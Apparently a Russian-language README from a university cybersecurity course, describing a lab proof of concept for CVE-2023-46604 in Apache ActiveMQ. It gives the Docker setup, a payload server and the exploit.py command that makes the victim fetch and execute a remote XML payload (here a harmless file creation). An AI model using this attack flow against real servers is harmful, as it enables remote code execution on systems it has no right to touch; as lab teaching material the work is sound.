
PoC для CVE-2023-46604, написанный в рамках курса SPS для магистерской программы по передовой кибербезопасности в UPB.
Задание: SSP Assignment 3 Команда: RCE You Later Участники: Banica Horia Alexandru, Comarlau Vlad-Constantin
Ссылка на видео использования репозитория для выполнения PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
Этот репозиторий содержит полностью функциональное доказательство концепции (PoC) для CVE-2023-46604. Эта уязвимость позволяет злоумышленнику выполнять произвольные команды оболочки на уязвимом сервере Apache ActiveMQ (версия 5.15.10) путем принудительной десериализации вредоносного XML-файла конфигурации.
Цель: Создать файл с именем pwned_by_ssp_team внутри сервера-жертвы, чтобы доказать, что мы получили контроль.
Перед запуском эксплойта убедитесь, что у вас есть:
vulnerable-env/: Содержит Docker-настройку для сервера-жертвы.attacker/: Содержит скрипты эксплойта и вредоносные полезные нагрузки.
exploit.py: Python-скрипт, отправляющий вредоносный пакет.serve.py: Простой HTTP-сервер для размещения XML-полезной нагрузки.poc.xml: Вредоносный файл конфигурации, содержащий команду touch /tmp/pwned_by_ssp_team.Мы запустим старую уязвимую версию ActiveMQ с помощью Docker.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
Сервер-жертва должен загрузить инструкции от нас. Мы настроим небольшой веб-сервер для размещения этих инструкций.
attacker:
cd attacker
python3 serve.py
Теперь мы отправляем специальный сетевой пакет, который запускает уязвимость.
Откройте третий терминал.
Перейдите в папку attacker:
cd attacker
Запустите скрипт эксплойта.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal на шлюз сетевого моста, обычно: 172.17.0.1. Попробуйте получить адрес следующим образом, если предложенный не работает: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Сработало? Давайте проверим, был ли создан файл внутри контейнера.
/tmp внутри жертвы:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.Чтобы остановить и удалить уязвимый контейнер:
cd vulnerable-env
docker-compose down